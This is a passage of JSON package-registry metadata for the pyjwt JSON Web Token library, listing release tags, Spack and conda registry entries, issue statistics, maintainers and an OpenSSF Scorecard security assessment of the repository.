epos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.415Z","dependent_packages_count":12,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":5.516187300263999,"stargazers_count":2.12588578574406,"forks_count":3.5431429762401003,"average":2.79630401556204},"purl":"pkg:spack/py-pyjwt","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/spack/py-pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/spack/py-pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/spack/py-pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/spack.io/packages/py-pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/spack.io/packages/py-pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/spack.io/packages/py-pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/spack.io/packages/py-pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/spack.io/packages/py-pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/spack.io/packages/py-pyjwt/codemeta","maintainers":[{"uuid":"adamjstewart","login":"adamjstewart","name":null,"email":null,"url":"https://github.com/adamjstewart","packages_count":2168,"html_url":null,"role":null,"created_at":"2022-11-14T16:54:34.000Z","updated_at":"2022-11-14T16:54:34.000Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/spack.io/maintainers/adamjstewart/packages"}],"registry":{"name":"spack.io","url":"https://packages.spack.io","ecosystem":"spack","default":true,"packages_count":9193,"maintainers_count":989,"namespaces_count":0,"keywords_count":3801,"github":"spack","metadata":{"funded_packages_count":440},"icon_url":"https://github.com/spack.png","created_at":"2022-04-04T15:19:23.514Z","updated_at":"2026-06-10T05:19:56.194Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/spack.io/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/spack.io/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/spack.io/namespaces"}},{"id":5290346,"name":"pyjwt","ecosystem":"conda","description":null,"homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":null,"versions_count":18,"first_release_published_at":"2022-10-03T15:49:42.581Z","latest_release_published_at":"2022-10-20T04:32:49.000Z","latest_release_number":"2.6.0","last_synced_at":"2026-03-05T09:31:11.142Z","created_at":"2022-10-03T15:49:42.573Z","updated_at":"2026-05-29T04:00:35.517Z","registry_url":"https://anaconda.org/conda-forge/pyjwt","install_command":"conda install -c conda-forge pyjwt","documentation_url":null,"metadata":{},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while 